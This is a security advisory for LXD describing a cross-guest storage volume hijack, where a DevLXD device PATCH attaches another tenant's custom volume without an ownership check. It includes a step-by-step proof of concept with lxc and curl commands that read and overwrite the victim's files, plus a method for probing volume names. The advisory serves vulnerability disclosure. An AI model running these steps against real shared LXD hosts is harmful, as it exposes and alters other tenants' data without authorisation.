GHSA-hhf9-qw4v-72xp

    Dashboard / Vulnerabilities / GHSA-hhf9-qw4v-72xp

    GHSA-hhf9-qw4v-72xp

    Published: 5 Nov 2026Last Modified: 6 Nov 2026

    Summary: lxd allows Cross-guest volume hijack via DevLXD device patch

    Details: ### Summary A guest can mount another guest's custom storage volume over `/dev/lxd` and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with `security.devlxd.management.volumes` enabled can attach a volume belonging to a different guest by naming it in a device `PATCH`, giving one tenant full read and write access to another tenant's volume data. ### Details Volumes created over DevLXD get `volatile.devlxd.owner` set to the calling identity. The storage handlers enforce it on `GET`/`PUT`/`DELETE` ([`isDevLXDVolumeOwner`, lxd/devlxd_storage.go:359](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L359)) and on volume-copy sources ([devlxd_storage.go:286](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L286)). The device-attach path does not. `devLXDInstancePatchHandler` ([lxd/devlxd_instances.go:88](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L88)) passes the guest's device map to `generateDevLXDInstanceDevices` ([devlxd_instances.go:178](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L178)). For a device that isn't already on the instance, the only check is `isDeviceAccessible(device)`: ```go if (exists && !isOwned) || (!isDeviceAccessible(device)) ``` `exists` is false for a newly added device, so `isDeviceAccessible` is the whole gate. It resolves to `newDevLXDDeviceAccessValidator` ([devlxd_instances.go:250](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L250)), which is `diskDeviceAllowed && filters.IsCustomVolumeDisk(device)`. `IsCustomVolumeDisk` ([lxd/device/filters/disk.go:28](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/device/filters/disk.go#L28)) checks the device shape only: `type=disk`, non-empty `source`, non-empty `pool`. It never loads the `(pool, source)` volume or compares its owner to the caller. The handler then sets `volatile.<dev>.devlxd.owner` to the caller and issues an in-process `PATCH` to `instancePatch` ([lxd/instance_patch.go:55](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L55)). That call skips the HTTP access handler and runs only project quota checks (`limits.AllowInstanceUpdate`, [instance_patch.go:215](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L215)) before `c.Update`. The disk device's `validateConfig` confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume's `volatile.devlxd.owner` still names the victim. ### PoC Built from source at HEAD `d29ece6284` (reports as `6.8`, API extension `devlxd_volume_management`); single host, `dir` pool, default project. Host setup, two guests with separate DevLXD identities, each scoped to edit only its own instance: ```bash lxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true lxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true lxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl for g in a b; do lxc auth identity create devlxd/id$g lxc auth group create g$g lxc auth group permission add g$g project default can_view lxc auth group permission add g$g project default can_view_storage_volumes lxc auth group permission add g$g project default can_create_storage_volumes lxc auth group permission add g$g instance guest$g can_view project=default lxc auth group permission add g$g instance guest$g can_edit project=default lxc auth identity group add devlxd/id$g g$g done TOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet) TOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet) ``` With `devlxd` defined as `lxc exec <c> -- curl --unix-socket /dev/lxd/sock -H "Authorization: Bearer <tok>" ...`: ```bash devlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom '{"name":"vola","type":"custom","config":{}}' devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":{"type":"disk","pool":"default","source":"vola","path":"/mnt/mine"}}}' lxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A > /mnt/mine/secret.txt' devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":null}}' devlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola # HTTP 404 devlxd guestb $TOKEN_B PATCH /1.0/instances/guestb '{"devices":{"stolen":{"type":"disk","pool":"default","source":"vola","path":"/mnt/stolen"}}}' # HTTP 200 lxc exec guestb -- cat /mnt/stolen/secret.txt lxc exec guestb -- sh -c 'echo PWNED-BY-B > /mnt/stolen/b_was_here.txt' ``` `lxc storage volume get default vola volatile.devlxd.owner` returns guesta's identity; `lxc config device get guestb stolen source` returns `vola`. ### Impact Broken access control across tenants. It affects operators running untrusted guests in a shared LXD project with `security.devlxd.management.volumes` enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren't already known can be recovered by probing, since an attachable volume returns `200` and a missing one returns a not-found error.

    Affected packages

    Package

    Name: github.com/canonical/lxd

    Purl: pkg:golang/github.com/canonical/lxd

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0.0.0-20250721152936-fe86ceb2c3fa
    Fixed -0.0.0-20260626085133-7cb96ac80a6d

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-hhf9-qw4v-72xp | CVE-DB